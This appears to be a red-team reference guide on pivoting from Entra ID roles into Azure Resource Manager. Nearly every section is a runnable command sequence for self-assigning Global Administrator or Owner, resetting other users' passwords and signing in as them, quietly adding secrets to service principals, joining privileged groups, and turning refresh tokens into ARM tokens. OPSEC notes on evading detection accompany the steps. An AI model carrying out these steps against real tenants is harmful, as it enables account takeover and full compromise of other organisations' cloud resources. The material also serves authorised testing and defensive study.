Purpose: A practical reference for moving from Entra ID access (Graph, directory roles, Entra permissions) into Azure Resource Manager - when you have something in the identity plane but need to reach the resource plane.
Table of Contents
- The Two-Plane Problem
- Enumerating Pivot Opportunities
- Method 1: Global Administrator → User Access Administrator
- Method 2: Privileged Role Administrator
- Method 3: Password Reset (User Admin / Help Desk Admin)
- Method 4: Application Credentials
- Method 5: Service Principal Owner Takeover
- Method 6: Group Membership
- Method 7: Dynamic Group Attribute Manipulation
- Getting an ARM Token
- Indirect & Alternative Methods
- Tools Reference
Two-Planes
Goal: Understand why pivoting is required and what you’re looking for.
Overview
Entra ID (used to be Azure Active Directory) is the identity provider. Azure Resource Manager (ARM) is the resource management layer. They share the same underlying identities - users, service principals, managed identities - but their permission models are completely independent.
| Entra ID | Azure (ARM) | |
|---|---|---|
| Permission model | Directory Roles | Azure RBAC |
| Managed in | Entra ID portal | Azure portal (IAM) |
| API | graph.microsoft.com | management.azure.com |
| Token audience | https://graph.microsoft.com/ | https://management.azure.com/ |
| High-priv role | Global Administrator | Owner |
A Global Administrator has zero ARM permissions by default. The only way to reach Azure subscriptions from an Entra identity is through an explicit RBAC assignment, or by exploiting the connections between the planes - which is what this guide covers.
The pivot opportunities fall into two categories:
- Role-based: your Entra role carries an inherent capability that can be used to reach ARM (e.g., Global Admin’s self-elevation, User Admin’s password reset).
- Permission-based: your Entra directory permissions let you modify a principal (application, service principal, group, user) that already has ARM RBAC assignments.
In either case, the final step is always the same: authenticate as a principal that has an ARM RBAC role, then exchange that identity for an ARM access token or use the principal directly.
Enumerating Pivot Opportunities
Goal: Before attempting any pivot, map what connections exist in the environment.
Your Entra Roles
# list your current Entra roles (active assignments)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole"
Get-MgRoleManagementDirectoryRoleAssignmentScheduleInstance -Filter "principalId eq '<user-id>'"
Resolve GUIDs to human readable names
$instances = Get-MgRoleManagementDirectoryRoleAssignmentScheduleInstance -Filter "principalId eq '<user-id>'" -ExpandProperty "roleDefinition,principal"
$instances | Select-Object @{N='Role';E={$_.RoleDefinition.DisplayName}}, @{N='Principal';E={$_.Principal.AdditionalProperties.displayName}}, AssignmentType, MemberType, StartDateTime, EndDateTime | Format-Table -AutoSize
az clihas scope limitations for PIM schedule queries - use PowerShell for those.
Your Entra Directory Permissions
Custom roles and fine-grained permissions matter here. Check what actions your role allows:
# list all Entra role definitions (including custom)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
Principals with ARM RBAC Assignments
These are your targets. Look for service principals, groups, and users that already have roles in Azure:
# all ARM role assignments (requires Reader or above on a subscription)
az role assignment list --all --output table
# filter by a specific principal (user, group, or SP)
az role assignment list --all --query "[?principalName=='<upn-or-id>']" --output table
Get-AzRoleAssignment | Select-Object RoleDefinitionName, Scope, DisplayName, ObjectType
Groups with ARM Assignments
Groups are a common pivot surface - adding yourself to a group is often easier than compromising a specific user:
# get ARM role assignments for a specific group
az role assignment list --include-groups --assignee <group-id> --output table
Get-AzRoleAssignment -ObjectId <group-id> -IncludeClassicAdministrators
Service Principals with ARM Roles
Applications registered in Entra have service principals that can hold ARM RBAC roles. These are high-value targets for credential injection:
# list service principals
az ad sp list --all --query "[].{name:displayName, appId:appId, id:id}" --output table
Get-AzADServicePrincipal | Select-Object DisplayName, AppId, Id
Automated Enumeration
CloudPEASS will enumerate permissions across both planes:
export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)
python3 AzurePEAS.py
Also run AzureHound to map the full identity graph - it shows group → role → resource paths BloodHound-style.
Method 1: Global Administrator → User Access Administrator
Goal: Use Global Administrator access in Entra to elevate to User Access Administrator at the ARM root scope, granting access to all subscriptions.
Required role: Global Administrator
What it does: Enables a hidden setting that assigns the User Access Administrator role to your account at the root management group (/). This role can then be used to assign any RBAC role to any principal at any scope - effectively full tenant compromise in ARM.
Enable Role
Enable the setting in the portal.
Navigate to:
https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties
Toggle “Access management for Azure resources” to Yes and save.
Verify the role assignment.
After enabling, your account is now User Access Administrator at root:
az role assignment list --all --query "[?scope=='/' && roleDefinitionName=='User Access Administrator']"
Get-AzRoleAssignment | Where-Object { $_.Scope -eq '/' -and $_.RoleDefinitionName -eq 'User Access Administrator' }
Assign yourself an ARM role
With User Access Administrator at root you can grant yourself (or any principal) any role at any scope:
# assign Owner on the subscription
az role assignment create \
--role "Owner" \
--assignee "<your-upn-or-object-id>" \
--scope "/subscriptions/<subscription-id>"
New-AzRoleAssignment -RoleDefinitionName "Owner" `
-SignInName "<your-upn>" `
-Scope "/subscriptions/<subscription-id>"
OPSEC: This setting change is logged in Entra audit logs (
Update usertype event) and the role assignment appears in ARM activity logs. PIM will also send an email if the tenant uses it.
Method 2: Privileged Role Administrator
Goal: Use the Privileged Role Administrator role to assign higher Entra roles to yourself, chaining into Method 1 or any other role-based pivot.
Required role: Privileged Role Administrator
What it does: Allows assigning any Entra directory role to any principal. With this, you can assign yourself Global Administrator and then proceed with Method 1.
# assign Global Administrator to your user
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
--headers "Content-Type=application/json" \
--body '{
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"principalId": "<your-object-id>",
"directoryScopeId": "/"
}'
The Global Administrator role definition ID is 62e90394-69f5-4237-9190-012177145e10 in all tenants.
After assigning Global Administrator, proceed with Method 1.
Method 3: Password Reset (User Admin / Help Desk Admin)
Goal: Reset the password of a user who has Azure RBAC assignments, then authenticate as them to reach ARM.
Required role: User Administrator, Help Desk Administrator, or microsoft.directory/users/password/update permission
What it does: These roles allow resetting passwords of non-admin users. If any user with ARM RBAC assignments is a non-admin, their password can be reset to gain access to their Azure context.
Identify Target Users
Find users with ARM role assignments and check if they’re non-admin:
# get all ARM role assignments showing which users have access
az role assignment list --all --query "[?principalType=='User']" --output table
# with powershell
Get-AzRoleAssignment | Where-Object { $_.ObjectType -eq 'User' } | Format-Table DisplayName, RoleDefinitionName, Scope -AutoSize
Reset with Az CLI
az ad user update --id <user-id|email> --password "NewPassword123!"
Authenticate as Target
az login -u 'target@domain.com' -p 'NewPassword123!'
$cred = New-Object System.Management.Automation.PSCredential(
'target@domain.com',
(ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force)
)
Connect-AzAccount -Credential $cred
Note:
microsoft.directory/users/password/updatecannot be assigned to custom roles - it only exists on built-in roles.
Method 4: Application Credentials
Goal: Add credentials to an existing application or service principal that has ARM RBAC roles, then authenticate as that SP to access ARM.
Required permission: microsoft.directory/applications/credentials/update or microsoft.directory/servicePrincipals/credentials/update
What it does: These permissions allow adding new client secrets or certificates to existing application registrations and service principals. If any of these have ARM RBAC assignments, adding credentials gives you a new login path into that identity.
Find Target Applications and Service Principals
# list app registrations - ignoring microsoft first party apps.
az ad app list --all --query "[?publisherDomain=='<tenant-domain>'].{name:displayName, appId:appId, id:id}" --output table
# list service principals
az ad sp list --all --query "[?appOwnerOrganizationId=='<tenant-id>'].{name:displayName, appId:appId, id:id}" --output table
Check ARM roles for a specific service principal:
az role assignment list --all --query "[?principalType=='ServicePrincipal' && principalName=='<sp-display-name>']" --output table
Check ARM roles for a specific Entra app:
az role assignment list --all --query "[?principalType=='ServicePrincipal' && principalName=='<appId>']" | jq
Add Credentials to Application Registration
Add a new secret without removing existing ones (--append is critical for stealth):
az ad app credential reset --id <appId> --append
Or add a certificate:
az ad app credential reset --id <appId> --create-cert --append
Add Credentials via Graph API
For more control (custom expiry, display name):
note: application object is is not the AppId.
az ad app list -o table, use the Id column.
APP_OBJ_ID="<application-object-id>"
curl -s -X POST \
-H "Authorization: Bearer $GRAPH_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"passwordCredential": {
"displayName": "backup-cred",
"endDateTime": "2027-01-01T00:00:00Z"
}
}' \
"https://graph.microsoft.com/v1.0/applications/$APP_OBJ_ID/addPassword" | jq
Authenticate as the Service Principal
az login --service-principal \
--username <appId> \
--password <new-secret> \
--tenant <tenant-id>
$cred = New-Object System.Management.Automation.PSCredential("<appId>",(ConvertTo-SecureString "<new-secret>" -AsPlainText -Force))
Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant "<tenant-id>"
Method 5: Service Principal Owner Takeover
Goal: Become the owner of a service principal that has ARM RBAC roles, then use owner privileges to add credentials.
Required permission: microsoft.directory/servicePrincipals/owners/update
What it does: Owning a service principal gives full control over it - including the ability to add, modify, or remove credentials. This two-step approach: take ownership → add credentials works when you have owner-update permissions but not direct credential-update permissions.
Add Yourself as Owner
note: application object is is not the AppId.
az ad app list -o table, use the Id column.
SP_OBJ_ID="<service-principal-object-id>"
USER_ID="<your-user-object-id>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_OBJ_ID/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/users/$USER_ID\"}"
Verify:
az ad sp owner list --id $SP_OBJ_ID
Add Credentials as Owner
Once you’re an owner, standard credential reset works:
az ad sp credential reset --id <sp-app-id> --append
Then authenticate with the new credentials using the same steps as Method 4.
Note:
spObjectId(the object ID of the SP itself) differs fromappId(the application/client ID). Useaz ad sp show --id <appId> --query id --output tsvto get the SP object ID from an app ID.
Method 6: Group Membership
Goal: Add yourself to an Entra ID security group that has ARM RBAC role assignments, inheriting those permissions.
Required permission: microsoft.directory/groups/members/update or microsoft.directory/groups/owners/update
What it does: Azure RBAC assignments can be made to groups. Any user who is a member of that group inherits the role. If you can add yourself to a group with an ARM role, you gain that role.
Find Groups with ARM Assignments
# list all ARM role assignments assigned to groups
az role assignment list --all --query "[?principalType=='Group']" --output table
# powershell version
Get-AzRoleAssignment | Where-Object { $_.ObjectType -eq 'Group' }
Get members of a specific group to understand who else has this access:
az ad group member list --group <group-name|id> --query "[].userPrincipalName" --output table
# powershell
Get-AzADGroupMember -GroupDisplayName "<group-name>" | Select-Object UserPrincipalName
Add Yourself to the Group
Az CLI:
az ad group member add --group <GroupName> --member-id <your-user-object-id>
Microsoft Graph PowerShell:
New-MgGroupMember -GroupId "<group-id>" -DirectoryObjectId "<user-id>"
Verify Membership
az ad group member list -g "<group-name>"
Get-AzADGroupMember -GroupDisplayName "<group-name>"
Important: There may be a short delay (seconds to minutes) before group membership changes propagate to ARM role evaluation.
Method 7: Dynamic Group Attribute Manipulation
Goal: Modify a user-controlled attribute on your account to match the membership rule of a dynamic group that has ARM RBAC assignments.
What it does: Dynamic groups automatically add/remove members based on attribute rules evaluated by Entra ID. If a rule uses an attribute the user can modify (like otherMails, jobTitle, department), you can self-enroll in the group without needing groups/members/update permission.
Find Dynamic Groups with ARM Roles
First, identify dynamic groups:
az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Get-MgGroup -Filter "GroupTypes/any(c:c eq 'DynamicMembership')" -All
Connect-MgGraph -Scopes Group.Read.Allrequired ^
Then check which of those groups have ARM RBAC assignments:
# for each dynamic group, check ARM role assignments
az role assignment list --include-groups --assignee <group-id> --output table
# with powershell
Get-AzRoleAssignment -ObjectId "<group-id>"
Inspect the Membership Rule
The membership rule defines which attribute values trigger auto-enrollment. Look for rules using user-modifiable attributes:
az ad group show --group "<group-name>" --query "membershipRule"
The amount of attributes you can modify is dependent on your privileges.
Standard Users
givenName, surname, streetAddress, state, postalCode, country, telephoneNumber, mobile, otherMails
Directory Writers
displayName, city, companyName, country, department, facsimileTelephoneNumber, givenName, jobTitle, mailNickname, mobile, physicalDeliveryOfficeName, postalCode, state, streetAddress, surname, telephoneNumber, proxyAddresses
User Administrator: everything above, plus
accountEnabled, mail, userPrincipalName, userType, usageLocation, employeeId, employeeHireDate, passwordPolicies, preferredLanguage, sipProxyAddress, otherMails
Identity Governance Administrator
employeeId, employeeHireDate
People Administrator
displayName, givenName, surname, department, jobTitle, mobile, telephoneNumber, physicalDeliveryOfficeName, city, state, postalCode, country, streetAddress, companyName
Global Administrator: all of the above, unrestricted, on all users including other admins.
Modify Your Attribute to Match
Example - matching an otherMails-based rule:
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<your-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["<email@email.net>"]}'
Update-MgUser -UserId "<user-id-or-upn>" -OtherMails @("email@email.net")
Connect-MgGraph -Scopes "User.ReadWrite.All"required ^
Validate attribute update
az rest --method GET --url "https://graph.microsoft.com/v1.0/users/<your-object-id>?\$select=otherMails"
(Get-MgUser -UserId "<user-id-or-upn>" -Property OtherMails).OtherMails
Validate Group Enrollment
Dynamic group membership evaluation can take up to a few minutes:
az ad group member list -g "<group-name>"
Get-AzADGroupMember -GroupDisplayName "<group-name>"
OPSEC: Dynamic group evaluations trigger an audit log event in Entra. The attribute change itself also generates a
Update userevent. If the group is monitored, this may alert.
Getting an ARM Token
Goal: After compromising a principal with ARM RBAC roles, exchange that access for an ARM access token you can use against management.azure.com.
Once you’ve completed any of the methods above, you need an access token with aud: https://management.azure.com/ to make ARM API calls.
See Token Collection for a full reference on getting tokens.
From Az CLI Context
After az login or az login --service-principal:
az account get-access-token --resource-type arm | jq -r .accessToken
From Azure PowerShell Context
After Connect-AzAccount:
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)
From a Refresh Token (RT Exchange)
If you have a refresh token from your compromised identity, exchange it directly for an ARM token without re-authenticating:
export TENANT_ID="<tenant-id>"
export REFRESH_TOKEN="<refresh-token>"
curl -s -X POST \
-d "client_id=<client-id>" \
-d "grant_type=refresh_token" \
--data-urlencode "refresh_token=$REFRESH_TOKEN" \
-d "scope=https://management.azure.com/.default" \
"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" | jq
With ROADtools:
roadtx refreshtokento -r https://management.azure.com --tokens-stdout
See Token Exchange for a full reference on RT → AT conversion, FOCI, and audience switching.
Validate the ARM Token
The subscriptions endpoint returns 200 (even with empty list) for any valid ARM token:
curl -s -X GET "https://management.azure.com/subscriptions?api-version=2022-12-01" -H "Authorization: Bearer $ARM_TOKEN" | jq
Use Token in PowerShell
$ARM_TOKEN = "<arm-access-token>"
Connect-AzAccount -AccessToken $ARM_TOKEN -AccountId "any@placeholder.com"
# verify
Get-AzContext
Get-AzResource
Indirect & Alternative Methods
The methods above cover the most direct Entra → ARM pivot paths. These are additional techniques worth knowing. Some may have been mitigated by microsoft, idk I haven’t explored them.
PIM Eligible ARM Role Activation - PIM separates role eligibility from activation. An eligible ARM RBAC assignment is dormant but real - you can activate it yourself without additional permissions. Always enumerate eligible assignments, not just active ones.
Partner Tier2 Support Role - A hidden built-in Entra role intended for Microsoft CSP partners. Equivalent in capability to Global Administrator but not shown in the Azure portal UI, making it hard to audit. Can self-promote to Global Admin → chain to Method 1. Documented by SpecterOps.
Hybrid Identity Administrator / Federation Abuse (Golden SAML) - This Entra role can modify federated domain trust configuration. With access to the token-signing certificate (via a compromised ADFS server or federation config modification), SAML tokens can be forged for any synced user - including those with ARM Owner. AADInternals automates this.
Tools Reference
| Tool | Purpose | Relevant Methods |
|---|---|---|
| Az CLI | Primary interface for both Graph and ARM operations | All |
| Azure PowerShell | ARM operations, PIM queries that Az CLI can’t handle | All |
| Microsoft.Graph PowerShell | Graph operations, group/role management | 2, 3, 5, 6, 7 |
| ROADtools / roadtx | Token exchange, RT → ARM AT conversion | Token Exchange |
| AzureHound | BloodHound-style mapping of group → role → resource paths | Enumeration |
| CloudPEASS | Automated permission enumeration across both planes | Enumeration |